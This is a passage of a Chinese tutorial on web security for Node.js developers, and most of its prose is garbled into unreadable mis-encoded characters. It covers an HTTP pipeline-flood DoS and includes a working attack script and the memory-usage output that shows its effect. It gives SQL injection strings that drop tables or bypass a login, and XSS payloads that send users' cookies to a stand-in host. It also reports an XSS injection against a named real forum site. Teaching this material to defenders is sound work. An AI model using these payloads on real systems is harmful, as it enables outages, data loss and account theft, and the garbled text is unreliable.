Äú¿ÉÒÔ¾èÖú£¬Ö§³ÖÎÒÃǵĹ«ÒæÊÂÒµ¡£

1Ôª 10Ôª 50Ôª





ÈÏÖ¤Â룺  ÑéÖ¤Âë,¿´²»Çå³þ?Çëµã»÷Ë¢ÐÂÑéÖ¤Âë ±ØÌî



  ÇóÖª ÎÄÕ ÎÄ¿â Lib ÊÓÆµ iPerson ¿Î³Ì ÈÏÖ¤ ×Éѯ ¹¤¾ß ½²×ù Modeler   Code  
»áÔ±   
 
   
 
 
     
   
 ¶©ÔÄ
  ¾èÖú
Web°²È«ÊµÕ½
 
»ðÁú¹ûÈí¼þ ·¢²¼ÓÚ£º2014-10-27
  3964  次浏览      27

ǰÑÔ

±¾Õ½«Ö÷Òª½éÉÜʹÓÃNode.js¿ª·¢webÓ¦ÓÿÉÄÜÃæÁٵݲȫÎÊÌ⣬¶ÁÕßͨ¹ýÔĶÁ±¾Õ¿ÉÒÔÁ˽âweb°²È«µÄ»ù±¾¸ÅÄ²¢ÇÒͨ¹ý¸÷ÖÖ·ÀÓù´ëÊ©µÖÓùһЩ³£¹æµÄ¶ñÒâ¹¥»÷£¬´î½¨Ò»¸ö°²È«µÄwebÕ¾µã¡£

ÔÚѧϰ±¾ÕÂ֮ǰ£¬¶ÁÕßÐèÒª¶ÔHTTPЭÒé¡¢SQLÊý¾Ý¿â¡¢JavascriptÓÐËùÁ˽⡣

ʲôÊÇweb°²È«

ÔÚ»¥ÁªÍøÊ±´ú£¬Êý¾Ý°²È«Óë¸öÈËÒþ˽Êܵ½ÁËǰËùδÓеÄÌôÕ½£¬ÎÒÃÇ×÷ÎªÍøÕ¾¿ª·¢Õߣ¬±ØÐëÈÃÒ»¸öwebÕ¾µãÂú×ã»ù±¾µÄ°²È«ÈýÒªËØ£º

£¨1£©»úÃÜÐÔ£¬ÒªÇó±£»¤Êý¾ÝÄÚÈݲ»ÄÜй¶£¬¼ÓÃÜÊÇʵÏÖ»úÃÜÐԵij£ÓÃÊֶΡ£

£¨2£©ÍêÕûÐÔ£¬ÒªÇóÓû§»ñÈ¡µÄÊý¾ÝÊÇÍêÕû²»±»´Û¸ÄµÄ£¬ÎÒÃÇÖªµÀºÜ¶àOAuthЭÒéÒªÇó½øÐÐsignÇ©Ãû£¬¾ÍÊDZ£Ö¤ÁËË«·½Êý¾ÝµÄÍêÕûÐÔ¡£

£¨3£©¿ÉÓÃÐÔ£¬±£Ö¤ÎÒÃǵÄwebÕ¾µãÊǿɱ»·ÃÎʵģ¬ÍøÕ¾¹¦ÄÜÊÇÕý³£ÔËÓªµÄ£¬³£¼ûDoS£¨Denail of Service ¾Ü¾ø·þÎñ£©¹¥»÷¾ÍÊÇÆÆ»µÁË¿ÉÓÃÐÔÕâÒ»µã¡£

°²È«µÄ¶¨ÒåºÍÒâʶ

web°²È«µÄ¶¨Òå¸ù¾Ý¹¥»÷ÊÖ¶ÎÀ´·Ö£¬ÎÒÃǰÑËü·ÖΪÈçÏÂÁ½Àࣺ

£¨1£©·þÎñ°²È«£¬È·±£ÍøÂçÉ豸µÄ°²È«ÔËÐУ¬ÌṩÓÐЧµÄÍøÂç·þÎñ¡£

£¨2£©Êý¾Ý°²È«£¬È·±£ÔÚÍøÉÏ´«ÊäÊý¾ÝµÄ±£ÃÜÐÔ¡¢ÍêÕûÐԺͿÉÓÃÐԵȡ£

ÎÒÃÇÖ®ºóÒª½éÉܵÄSQL×¢È룬XSS¹¥»÷µÈ¶¼ÊÇÊôÓÚÊý¾Ý°²È«µÄ·¶³ë£¬DoS£¬Slowlori¹¥»÷µÈ¶¼ÊÇÊôÓÚ·þÎñ°²È«·¶³ë¡£

ÔÚºÚ¿ÍÊÀ½çÖУ¬ÓÃñ×ÓµÄÑÕÉ«±ÈÓ÷ºÚ¿ÍµÄ¡°Éƶñ¡±£¬¾«Í¨°²È«¼¼Êõ£¬¹¤×÷ÔÚ·´ºÚ¿ÍÁìÓòµÄ°²È«×¨¼ÒÎÒÃdzÆÖ®Îª°×ñ×Ó£¬¶øºÚñ×ÓÔòÊÇÀûÓúڿͼ¼Êõıȡ˽ÀûµÄ·¸×ïȺÌ塣ͬÑù¶¼ÊǸãÍøÂ簲ȫÑо¿£¬ºÚ¡¢°×ñ×ÓµÄÖ°ÔðÍêÈ«²»Í¬£¬ÉõÖÁ¿ÉÒÔ˵ÊǶÔÁ¢µÄ¡£¶ÔÓÚºÚñ×Ó¶øÑÔ£¬ËûÃÇÖ»ÒªÕÒµ½ÏµÍ³µÄÒ»¸öÇÐÈëµã¾Í¿ÉÒÔ´ïµ½ÈëÇÖÆÆ»µµÄÄ¿µÄ£¬¶ø°×ñ×Ó±ØÐ뽫×Ô¼ºÏµÍ³ËùÓпÉÄܱ»Í»ÆÆµÄµØ·½¶¼Éè·À£¬±£Ö¤ÏµÍ³µÄ°²È«ÔËÐС£ËùÒÔÎÒÃÇÔÚÉè¼Æ¼Ü¹¹µÄʱºò¾ÍÓ¦¸ÃÓа²È«Òâʶ£¬Ê±¿Ì±£³ÖÇåÐѵÄÍ·ÄÔ£¬¿ÉÄÜÎÒÃǵÄwebÕ¾µã100´¦¶¼²¼·ÀºÜºÃ£¬Ö»ÓÐÒ»¸öµãÊèºöÁË£¬¹¥»÷Õ߾ͻáÀûÓÃÕâ¸öµã½øÐÐÍ»ÆÆ£¬ÈÃÎÒÃÇÁíÍâ100´¦µÄŬÁ¦Ò²°×·Ñ¡£

ͬÑù°²È«µÄÔËÓªÒ²ÊǷdz£ÖØÒªµÄ£¬ÎÒÃÇΪwebÕ¾µã½¨Á¢Æð¼á¹ÌµÄ±ÚÀÝ£¬¶øÔËÓªÈËÔ±ËæÒâʹÓÃrootÕʺţ¬¸øºËÐÄ·þÎñÆ÷¿ªÍ¨ÍâÍø·ÃÎÊIPµÈµÈһϵÁÐÎ¥¹æ²Ù×÷£¬»áÈÃÎÒÃǵıÚÀÝ˲¼ä±ÀËú¡£

Node.jsÖеÄweb°²È«

Node.js×÷ΪһÃÅÐÂÐ͵Ŀª·¢ÓïÑÔ£¬ºÜ¶à¿ª·¢Õß¶¼»áÓÃËüÀ´¿ìËٴwebÕ¾µã£¬ÆÚ¼äËæ×Ű汾ºÅµÄ¸üÌæÒ²ÐÞ¸´Á˲»ÉÙ©¶´¡£ÒòΪNode.jsÌṩµÄÍøÂç½Ó¿Ú½ÏPHP¸üΪµ×²ã£¬Í¬Ê±Ã»ÓÐÈçapache¡¢nginxµÈweb·þÎñÆ÷µÄǰ¶Ë±£»¤£¬Node.jsÓ¦¸Ã¸ü¼Ó¹Ø×¢°²È«·½ÃæµÄÎÊÌâ¡£

Http¹ÜµÀºéˮ©¶´

ÔÚNode.js°æ±¾0.8.26ºÍ0.10.21֮ǰ£¬¶¼´æÔÚÒ»¸ö¹ÜµÀºéË®µÄ¾Ü¾ø·þÎñ©¶´£¨pipeline flood DoS£©¡£¹ÙÍøÔÚ·¢²¼Õâ¸ö©¶´ÐÞ¸´´úÂëÖ®ºó£¬Ç¿ÁÒ½¨ÒéÔÚÉú²ú»·¾³Ê¹ÓÃNode.jsµÄ°æ±¾Éý¼¶µ½0.8.26ºÍ0.10.21£¬ÒòΪÕâ¸ö©¶´ÍþÁ¦¾Þ´ó£¬¹¥»÷Õß¿ÉÒÔÓúÜÁ®¼ÛµÄÆÕͨPCÇáÒ׵Ļ÷À£Ò»¸öÕý³£ÔËÐеÄNode.jsµÄHTTP·þÎñÆ÷¡£

Õâ¸ö©¶´²úÉúµÄÔ­ÒòºÜ¼òµ¥£¬Ö÷ÒªÊÇÒòΪ¿Í»§¶Ë²»½ÓÊÕ·þÎñ¶ËµÄÏìÓ¦£¬µ«¿Í»§¶ËÓÖÆ´Ãü·¢ËÍÇëÇó£¬Ôì³ÉNode.jsµÄStreamÁ÷ÎÞ·¨Ð¹ºé£¬Ö÷»úÄÚ´æºÄ¾¡¶ø±ÀÀ££¬¹ÙÍø¸ø³öµÄ½âÊÍÈçÏ£º

µ±ÔÚÒ»¸öÁ¬½ÓÉϵĿͻ§¶ËÓкܶàHTTPÇëÇó¹ÜµÀ£¬²¢ÇÒ¿Í»§¶ËûÓжÁÈ¡Node.js·þÎñÆ÷ÏìÓ¦µÄÊý¾Ý£¬Node.jsµÄ·þÎñ½«¿ÉÄܱ»»÷À£¡£Ç¿ÁÒ½¨ÒéÈκÎÔÚÉú²ú»·¾³Ïµİ汾ÊÇ0.8»ò0.10µÄHTTP·þÎñÆ÷¶¼¾¡¿ìÉý¼¶¡£Ð°汾Node.jsÐÞ¸´ÁËÎÊÌ⣬µ±·þÎñ¶ËÔڵȴýstreamÁ÷µÄdrainʼþʱ£¬socketºÍHTTP½âÎö½«»áÍ£Ö¹¡£ÔÚ¹¥»÷½Å±¾ÖУ¬socket×îÖջᳬʱ£¬²¢±»·þÎñ¶Ë¹Ø±ÕÁ¬½Ó¡£Èç¹û¿Í»§¶Ë²¢²»ÊǶñÒâ¹¥»÷£¬Ö»ÊÇ·¢ËÍ´óÁ¿µÄÇëÇ󣬵«ÊÇÏìÓ¦·Ç³£»ºÂý£¬ÄÇô·þÎñ¶ËÏìÓ¦µÄËÙ¶ÈÒ²»áÏàÓ¦½µµÍ¡£

ÏÖÔÚÈÃÎÒÃÇ¿´Ò»ÏÂÕâ¸ö©¶´Ôì³ÉµÄɱÉËÁ¦°É£¬ÎÒÃÇÔÚһ̨4cpu£¬4GÄÚ´æµÄ·þÎñÆ÷ÉÏÆô¶¯Ò»¸öNode.jsµÄHTTP·þÎñ£¬Node.js°æ±¾Îª0.10.7¡£·þÎñÆ÷½Å±¾ÈçÏ£º

var http = require('http');
var buf = new Buffer(1024*1024);//1mb buffer
buf.fill('h');
http.createServer(function (request, response) {
response.writeHead(200, {'Content-Type': 'text/plain'});
response.end(buf);
}).listen(8124);
console.log(process.memoryUsage());
setInterval(function(){//per minute memory usage
console.log(process.memoryUsage());
},1000*60)

ÉÏÊö´úÂëÎÒÃÇÆô¶¯ÁËÒ»¸öNode.js·þÎñÆ÷£¬¼àÌý8124¶Ë¿Ú£¬ÏìÓ¦1mbµÄ×Ö·ûh£¬Í¬Ê±Ã¿·ÖÖÓ´òÓ¡Node.jsÄÚ´æÊ¹ÓÃÇé¿ö£¬·½±ãÎÒÃÇÔÚÖ´Ðй¥»÷½Å±¾Ö®ºó²é¿´·þÎñÆ÷µÄÄÚ´æÊ¹ÓÃÇé¿ö¡£

ÔÚÁíÍâһ̨ͬÑùÅäÖõķþÎñÆ÷ÉÏÆô¶¯ÈçϹ¥»÷½Å±¾£º

var net = require('net');
var attack_str = 'GET / HTTP/1.1\r\nHost: 192.168.28.4\r\n\r\n'
var i = 1000000;//10W´ÎµÄ·¢ËÍ
var client = net.connect({port: 8124, host:'192.168.28.4'},
function() { //'connect' listener
while(i--){
client.write(attack_str);
}
});
client.on('error', function(e) {
console.log('attack success');
});

ÎÒÃǵĹ¥»÷½Å±¾¼ÓÔØÁËnetÄ£¿é£¬È»ºó¶¨ÒåÁËÒ»¸ö»ùÓÚHTTPЭÒéµÄGET·½·¨µÄÇëÇóÍ·£¬È»ºóÎÒÃÇʹÓÃtcpÁ¬½Óµ½Node.js·þÎñÆ÷£¬Ñ­»··¢ËÍ10W´ÎGETÇëÇ󣬵«ÊDz»¼àÌý·þÎñ¶ËÏìӦʼþ£¬Ò²¾ÍÎÞ·¨¶Ô·þÎñ¶ËÏìÓ¦µÄstreamÁ÷½øÐÐÏû·Ñ¡£ÏÂÃæÊÇÔÚ¹¥»÷½Å±¾Æô¶¯10·ÖÖÓºó£¬web·þÎñÆ÷´òÓ¡µÄÄÚ´æÊ¹ÓÃÇé¿ö£º

{ rss: 10190848, heapTotal: 6147328, heapUsed: 2632432 }
{ rss: 921882624, heapTotal: 888726688, heapUsed: 860301136 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189239056 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189251728 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189263768 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189270888 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189278008 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189285096 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189292216 }
{ rss: 1250893824, heapTotal: 1211065584, heapUsed: 1189301864 }

ÎÒÃÇÔÚ·þÎñÆ÷Ö´ÐÐtopÃüÁ²é¿´µÄϵͳÄÚ´æÊ¹ÓÃÇé¿öÈçÏ£º

Mem: 3925040k total, 3290428k used, 634612k free, 170324k buffers

¿ÉÒÔ¿´µ½£¬ÎÒÃǵĹ¥»÷½Å±¾Ö»ÓÃÁËÒ»¸ösocketÁ¬½Ó¾ÍÏûºÄµô´óÁ¿·þÎñÆ÷µÄÄڴ棬¸ü¿ÉŵÄÊÇÕⲿ·ÖÄÚ´æ²»»á×Ô¶¯ÊÍ·Å£¬ÐèÒªÊÖ¶¯ÖØÆô½ø³Ì²ÅÄÜ»ØÊÕ¡£¹¥»÷½Å±¾Ö´ÐÐÖ®ºóNode.js½ø³ÌÕ¼ÓÃÄÚ´æ±È֮ǰÌá¸ß½ü200±¶£¬Èç¹ûÓÐ2-3¸ö¶ñÒâ¹¥»÷socketÁ¬½Ó£¬·þÎñÆ÷ÎïÀíÄÚ´æ±ØÈ»ÓÃÍ꣬Ȼºó¿ªÊ¼Æµ·±µÄ½»»»£¬´Ó¶øÊ§È¥ÏìÓ¦»òÕß½ø³Ì±ÀÀ£¡£

SQL×¢Èë

´Ó1998Äê12ÔÂSQL×¢ÈëÊ״νøÈëÈËÃǵÄÊÓÏߣ¬ÖÁ½ñÒѾ­ÓÐÊ®¼¸ÄêÁË£¬ËäÈ»ÎÒÃÇÒѾ­ÓÐÁ˺ÜÈ«ÃæµÄ·À·¶SQL×¢ÈëµÄ¶Ô²ß£¬µ«ÊÇËüµÄÍþÁ¦ÈÔÈ»²»ÈÝСêï¡£

×¢Èë¼¼ÇÉ

SQL×¢Èë´ó¼Ò¿Ï¶¨²»»áİÉú£¬ÏÂÃæ¾ÍÊÇÒ»¸öµäÐ͵ÄSQL×¢ÈëʾÀý£º

var userid = req.query["userid"];
var sqlStr = 'select * from user where id="'+ userid +'"';
connection.query(sqlStr, function(err, userObj) {
// ...
});

Õý³£Çé¿öÏ£¬ÎÒÃǶ¼¿ÉÒԵõ½ÕýÈ·µÄÓû§ÐÅÏ¢£¬±ÈÈçÓû§Í¨¹ýä¯ÀÀÆ÷·ÃÎÊ/user/info?id=11½øÈë¸öÈËÖÐÐÄ£¬¶øÎÒÃǸù¾ÝÓû§´«µÝµÄid²ÎÊýÕ¹ÏÖ´ËÓû§µÄÏêϸÐÅÏ¢¡£µ«ÊÇÈç¹ûÓжñÒâÓû§µÄÇëÇóµØÖ·Îª/user/info?id=11";drop table user--£¬ÄÇô×îºóÆ´½Ó¶ø³ÉµÄSQL²éѯÓï¾ä¾ÍÊÇ£º

select * from user where id = "11";drop table user--

×¢Òâ×îºóÁ¬ÐøµÄÁ½¸ö¼õºÅ±íʾºöÂÔ´ËSQLÓï¾äºóÃæµÄÓï¾ä¡£Ô­±¾Ö´ÐеIJéѯÓû§ÐÅÏ¢µÄSQLÓï¾ä£¬ÔÚÖ´ÐÐÍê±ÏÖ®ºó»á°ÑÕû¸öuser±í¶ªÆúµô¡£

ÕâÊÇÁíÍâÒ»¸ö¼òµ¥µÄ×¢ÈëʾÀý£¬±ÈÈçÓû§µÄµÇ¼½Ó¿Ú²éѯ£¬ÎÒÃÇ»á¸ù¾ÝÓû§µÄµÇ¼ÃûºÍÃÜÂëÈ¥Êý¾Ý¿â²éÕÒÆ¥Å䣬Èç¹ûÕÒµ½ÏàÓ¦µÄ¼Ç¼£¬Ôò±íʾÓû§ÃûºÍÃÜÂëÆ¥Å䣬ÌáʾÓû§µÇ¼³É¹¦£»Èç¹ûûÓÐÕÒµ½¼Ç¼£¬ÔòÈÏΪÓû§Ãû»òÃÜÂë´íÎ󣬱íʾµÇ¼ʧ°Ü£¬´úÂëÈçÏ£º

var username = req.body["username"];
var password = md5(req.body["password"]+salt);//¶ÔÃÜÂë¼ÓÃÜ
var sqlStr = 'select * from user where username="'+ username +'"
and password="'+ password +'";

Èç¹ûÎÒÃÇÌá½»ÉÏÀ´µÄÓû§Ãû²ÎÊýÊÇÕâÑùµÄ¸ñʽ£ºsnoopy" and 1=1--£¬ÄÇôƴ½ÓÖ®ºóµÄSQL²éѯÓï¾ä¾ÍÊÇÈçÏÂÄÚÈÝ£º

select * from user where username = "snoopy" and 1=1-- " and 
password="698d51a19d8a121ce581499d7b701668";

Ö´ÐÐÕâÑùµÄSQLÓï¾äÓÀÔ¶»áÆ¥Åäµ½Óû§Êý¾Ý£¬¾ÍËãÎÒÃDz»ÖªµÀÃÜÂëÒ²ÄÜ˳ÀûµÇ¼µ½ÏµÍ³¡£Èç¹ûÔÚÎÒÃdz¢ÊÔ×¢ÈëSQLµÄÍøÕ¾¿ªÆôÁË´íÎóÌáʾÏÔʾ£¬»áΪ¹¥»÷ÕßÌṩ±ãÀû£¬±ÈÈç¹¥»÷Õßͨ¹ý·´¸´µ÷Õû·¢Ë͵IJÎÊý¡¢²é¿´´íÎóÐÅÏ¢£¬¾Í¿ÉÒԲ²â³öÍøÕ¾Ê¹ÓõÄÊý¾Ý¿âºÍ¿ª·¢ÓïÑÔµÈÐÅÏ¢¡£

±ÈÈçÓÐÒ»¸öÐÅÏ¢·¢²¼ÍøÕ¾£¬ËüµÄÐÂÎÅÏêÏ¸Ò³ÃæurlµØÖ·Îª/news/info?id=11£¬ÎÒÃÇͨ¹ý·Ö±ð·ÃÎÊ/news/info?id=11 and 1=1ºÍ/news/info?id=11 and 1=2£¬¾Í¿ÉÒÔ»ù±¾ÅжϴËÍøÕ¾ÊÇ·ñ´æÔÚSQL×¢Èë©¶´£¬Èç¹ûǰÕß¿ÉÒÔ·ÃÎʶøºóÕßÒ³ÃæÎÞ·¨Õý³£ÏÔʾµÄ»°£¬ÄǾͿÉÒԶ϶¨´ËÍøÕ¾ÊÇͨ¹ýÈçϵÄSQLÀ´²éѯijƪÐÂÎÅÄÚÈݵģº

var sqlStr = 'select * from news where id="'+id+'"';

ÒòΪ1=2Õâ¸ö±í´ïʽÓÀÔ¶²»³ÉÁ¢£¬ËùÒÔ¾ÍËãid²ÎÊýÕýÈ·Ò²ÎÞ·¨Í¨¹ý´ËSQLÓï¾ä·µ»ØÕæÕýµÄÊý¾Ý£¬µ±È»¾Í»á³öÏÖÎÞ·¨Õý³£ÏÔÊ¾Ò³ÃæµÄÇé¿ö¡£ÎÒÃÇ¿ÉÒÔʹÓÃһЩ¼ì²âSQL×¢ÈëµãµÄ¹¤¾ßÀ´É¨ÃèÒ»¸öÍøÕ¾ÄÄЩµØ·½¾ßÓÐSQL×¢ÈëµÄ¿ÉÄÜ¡£

ͨ¹ýurl²ÎÊýºÍform±íµ¥Ìá½»µÄÊý¾ÝÄÚÈÝ£¬¿ª·¢Õßͨ³£¶¼»áΪ֮×öÑÏÃÜ·À·¶£¬¿ª·¢ÈËÔ±±Ø¶¨»á¶ÔÓû§Ìá½»ÉÏÀ´µÄ²ÎÊý×öһЩÕýÔòÅжϺ͹ýÂË£¬ÔÙ¶ªµ½SQLÓï¾äÖÐÈ¥Ö´ÐС£µ«ÊÇ¿ª·¢ÈËÔ±¿ÉÄܲ»Ì«»áÈ¥¹Ø×¢Óû§HTTPµÄÇëÇóÍ·£¬±ÈÈçcookieÖд洢µÄÓû§Ãû»òÕßÓû§id£¬referer×Ö¶ÎÒÔ¼°User-Agent×ֶΡ£

±ÈÈ磬ÓеÄÍøÕ¾¿ÉÄÜ»áÈ¥¼Ç¼ע²áÓû§µÄÉ豸ÐÅÏ¢£¬Í¨³£¼Ç¼Óû§É豸ÐÅÏ¢ÊǸù¾ÝÇëÇóÍ·ÖеÄUser-Agent×Ö¶ÎÀ´Åжϵ쬯´½ÓÈçϲéѯ×Ö·û´®¾ÍÓдæÔÚSQL×¢ÈëµÄ¿ÉÄÜ¡£

var username = escape(req.body["username"]);//ʹÓÃescapeº¯Êý£¬¹ýÂËSQL×¢Èë
var password = md5(req.body["password"]+salt);//¶ÔÃÜÂë¼ÓÃÜ
var agent = req.header["user-agent"];//×¢ÒâNode.jsµÄÇëÇóÍ·×ֶζ¼ÊÇСдµÄ
var sqlStr = 'insert into user username,password,agent values "'+username+'",
"'+password+'", "'+agent+'"';

ÕâʱºòÎÒÃÇͨ¹ý·¢°ü¹¤¾ß£¬Î±ÔìHTTPÇëÇóÍ·£¬Èç¹û½«ÇëÇóÍ·ÖеÄUser-AgentÐÞ¸ÄΪ£º';drop talbe user--£¬ÎÒÃǾͳɹ¦×¢ÈëÁËÍøÕ¾¡£

·À·¶´ëÊ©

·À·¶SQL×¢ÈëµÄ·½·¨ºÜ¼òµ¥£¬Ö»Òª±£Ö¤ÎÒÃÇÆ´½Óµ½SQL²éѯÓï¾äÖеıäÁ¿¶¼¾­¹ýescape¹ýÂ˺¯Êý£¬¾Í»ù±¾¿ÉÒԶžø×¢ÈëÁË£¬ËùÒÔÎÒÃÇÒ»¶¨ÒªÑø³ÉÁ¼ºÃµÄ±àÂëϰ¹ß£¬¶Ô¿Í»§¶ËÇëÇó¹ýÀ´µÄÈκÎÊý¾Ý¶¼Òª³Ö»³ÒÉ̬¶È£¬½«ËüÃǹýÂËÖ®ºóÔÙ¶ªµ½SQLÓï¾äÖÐÈ¥Ö´ÐС£ÎÒÃÇÒ²¿ÉÒÔʹÓÃһЩ±È½Ï³ÉÊìµÄORM¿ò¼Ü£¬ËüÃÇ»á°ïÎÒÃÇ×èµ²µôSQL×¢Èë¹¥»÷¡£

XSS½Å±¾¹¥»÷

XSSÊÇʲô£¿ËüµÄÈ«ÃûÊÇ£ºCross-site scripting£¬ÎªÁ˺ÍCSS²ãµþÑùʽ±íÇø·Ö£¬ËùÒÔÈ¡ÃûXSS¡£ËüÊÇÒ»ÖÖÍøÕ¾Ó¦ÓóÌÐòµÄ°²È«Â©¶´¹¥»÷£¬ÊÇ´úÂë×¢ÈëµÄÒ»ÖÖ¡£ËüÔÊÐí¶ñÒâÓû§½«´úÂë×¢Èëµ½ÍøÒ³ÉÏ£¬ÆäËûÓû§ÔÚ¹Û¿´ÍøÒ³Ê±¾Í»áÊܵ½Ó°Ïì¡£ÕâÀ๥»÷ͨ³£°üº¬ÁËHTML±êÇ©ÒÔ¼°Óû§¶Ë½Å±¾ÓïÑÔ¡£

Ãû³ÇËÕÖÝÍøÕ¾×¢Èë

XSS×¢Èë³£¼ûµÄÖØÔÖÇøÊÇÉç½»ÍøÕ¾ºÍÂÛ̳£¬Ô½ÊÇÈÃÓû§×ÔÓÉÊäÈëÄÚÈݵĵط½£¬ÎÒÃǾÍÔ½Òª¹Ø×¢ÆäÄÜ·ñµÖÓùXSS¹¥»÷¡£XSS×¢ÈëµÄ¹¥»÷Ô­ÀíºÜ¼òµ¥£¬¹¹ÔìһЩ·Ç·¨µÄurlµØÖ·»òjs½Å±¾ÈÃHTML±êÇ©Òç³ö£¬´Ó¶øÔì³É×¢Èë¡£Ò»°ãÒýÓÕÓû§µã»÷²Å´¥·¢µÄ©¶´ÎÒÃdzÆÎª·´ÉäÐÔ©¶´£¬Óû§´ò¿ªÒ³Ãæ¾Í´¥·¢µÄ³ÆÎª×¢ÈëÐÍ©¶´£¬µ±È»×¢ÈëÐÍ©¶´µÄΣº¦¸ü´óһЩ¡£ÏÂÃæÏÈÓÃÒ»¸ö¼òµ¥µÄʵÀýÀ´ËµÃ÷XSS×¢ÈëÎÞ´¦²»ÔÚ¡£

Ãû³ÇËÕÖÝ£¨www.2500sz.com)£¬ÊÇËÕÖݱ¾µØÃÅ»§ÍøÕ¾£¬ÈÕ¾ùµÄpvÊýÒ²´ïµ½ÁË150Íò£¬ËüµÄÂÛ̳Óû§ÊýºÜ¶à£¬ÊDZ¾µØ»¯ÐÂÎÅ¡¢ÉçÇøÂÛ̳×öµÄ±È½Ï³É¹¦µÄÒ»¸öÍøÕ¾¡£

½ÓÏÂÀ´ÎÒÃǽ«ÑÝʾһ¸ö×¢Èëµ½2500sz.comµÄ°¸Àý£¬ÎÒÃÇÏÈ×¢²á³ÉÒ»¸ö2500sz.comÕ¾µã»áÔ±£¬½øÈëÂÛ̳°å¿é£¬¿ªÊ¼·¢²¼ÐÂÌû¡£´ò¿ª·¢ÌûÒ³Ãæ£¬ÔÚweb±à¼­Æ÷ÖÐÊäÈëÈçÏÂÄÚÈÝ£º

ÉÏÃæµÄ´úÂ뼴Ϊ·ÖÏíÒ»¸öÍøÂçͼƬ£¬ÎÒÃÇÔÚͼƬµÄsrcÊôÐÔÖÐÖ±½ÓдÈëÁËjavascript:alert('xss');£¬²Ù×÷³É¹¦ºóÉú³ÉÌû×Ó£¬ÓÃIE6¡¢7µÄÓû§´ò¿ª´ËÌû×Ӿͻá³öÏÖÏÂͼµÄalert('xss')µ¯´°¡£

µ±È»ÎÒÃÇÒª½«±êÌâÉè¼ÆµÄ·Ç³£¶áÈËÑÛÇò£¬±ÈÈç¡°Pm2.5Îíö²ÕæÏàÅû¶¡± £¬È»ºó½«ÀïÃæµÄalert»»³ÉÈç϶ñÒâ´úÂ룺

location.href='http://www.xss.com?cookie='+document.cookie£»

ÕâÑùÎÒÃǾͻñÈ¡µ½ÁËÓû§cookieµÄÖµ£¬Èç¹û·þÎñ¶ËsessionÉèÖùýÆÚºÜ³¤µÄ»°£¬ÒÔºó¾Í¿ÉÒÔαÔìÕâ¸öÓû§µÄÉí·Ý³É¹¦µÇ¼¶ø²»ÔÙÐèÒªÓû§ÃûÃÜÂ룬¹ØÓÚsessionºÍcookieµÄ¹ØÏµÎÒÃÇÔÚÏÂÒ»½ÚÖн«»áÏêϸ½²µ½¡£ÕâÀïµÄlocation.hrefÖ»ÊdzöÓÚ¼òµ¥£¬Èç¹û×öÁËÌø×ªÕâ¸öÌû×Ӻܿì»á±»¹ÜÀíԱɾ³ý£¬µ«ÎÒÃÇдÈçÏ´úÂ룬²¢ÇÒÌû×ÓµÄÄÚÈÝÒ²ÊÇÕæÊµµÄ£¬ÄÇô¾Í»á»öº¦ºÜ¶àÈË£º

var img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);

ÕâÑù¾ÍÉñ²»Öª¹í²»¾õµÄ°Ñµ±Ç°Óû§cookieµÄÖµ·¢Ë͵½¶ñÒâÕ¾µã£¬¶ñÒâÕ¾µãͨ¹ýGET²ÎÊý£¬¾ÍÄÜ»ñÈ¡Óû§cookieµÄÖµ¡£Í¨¹ýÕâ¸ö·½·¨¿ÉÒÔÄõ½Óû§¸÷ÖÖ¸÷ÑùµÄ˽ÃÜÊý¾Ý¡£

AjaxµÄXSS×¢Èë

ÁíÒ»´¦ÈÝÒ×Ôì³ÉXSS×¢ÈëµÄµØ·½ÊÇAjaxµÄ²»ÕýȷʹÓá£

±ÈÈçÓÐÕâÑùµÄÒ»¸ö³¡¾°£¬ÔÚһƪ²©ÎĵÄÏêϸҳ£¬ºÜ¶àÓû§¸øÕâÆª²©ÎÄÁôÑÔ£¬ÎªÁ˼ӿìÒ³Ãæ¼ÓÔØËÙ¶È£¬ÏîÄ¿¾­ÀíÒªÇóÏÈÏÔʾ²©ÎĵÄÄÚÈÝ£¬È»ºóͨ¹ýAjaxÈ¥»ñÈ¡ÁôÑԵĵÚÒ»Ò³ÐÅÏ¢£¬ÁôÑÔ¹¦ÄÜͨ¹ýAjax·ÖÒ³±£Ö¤ÁËÒ³ÃæµÄÎÞˢкͿìËÙ¼ÓÔØ£¬´Ë×ö·¨µÄºÃ´¦ÓУº

£¨1£©¼Ó¿ìÁ˲©ÎÄÏêϸҳµÄ¼ÓÔØ£¬ÌáÉýÁËÓû§ÌåÑ飬ÒòΪÁôÑÔÐÅÏ¢ÍùÍùÓÐÓû§Í·Ïñ¡¢êdzơ¢idµÈµÈ£¬ÐèÒª¶à±í²éѯ£¬ÇÒÒ»°ãÓû§»áÏÈ¿´²©ÎÄ£¬ÔÙÀ­ÏÂÈ¥¿´ÁôÑÔ£¬ÕâʱÁôÑÔÒѼÓÔØÍê±Ï¡£

£¨2£©AjaxµÄÁôÑÔ·ÖÒ³Äܸü¿ìËÙÏìÓ¦£¬Óû§²»±ØÃ¿´Î·ÖÒ³¶¼Èò©ÎÄÖØÐÂˢС£

ÓÚÊÇǰ¶Ë¹¤³Ìʦ´ÓPHPÄÇ»ñÈ¡ÁËjsonÊý¾ÝÖ®ºó£¬½«Êý¾Ý·ÅÈëDOMÎĵµÖУ¬´ó¼ÒÄÜ¿´³öÏÂÃæ´úÂëµÄÎÊÌâÂð£¿

var commentObj = $('#comment');
$.get('/getcomment', {r:Math.random(),page:1,article_id:1234},function(data){
//ͨ¹ýAjax»ñÈ¡ÆÀÂÛÄÚÈÝ£¬È»ºó½«Æ·ÂÛµÄÄÚÈÝÒ»Æð¼ÓÔØµ½Ò³ÃæÖÐ
if(data.state !== 200) return commentObj.html('ÁôÑÔ¼ÓÔØÊ§°Ü¡£')
commentObj.html(data.content);
},'json');

ÎÒÃÇÉè¼ÆµÄ³õÖÔÊÇ£¬PHP³ÌÐòÔ±½«ÁôÑÔÄÚÈÝÌ×ÈëÄ£°å£¬·µ»Øjson¸ñʽÊý¾Ý£¬Ê¾ÀýÈçÏ£º

{"state":200, "content":"Ä£°åµÄ×Ö·û´®Æ¬¶Î"}

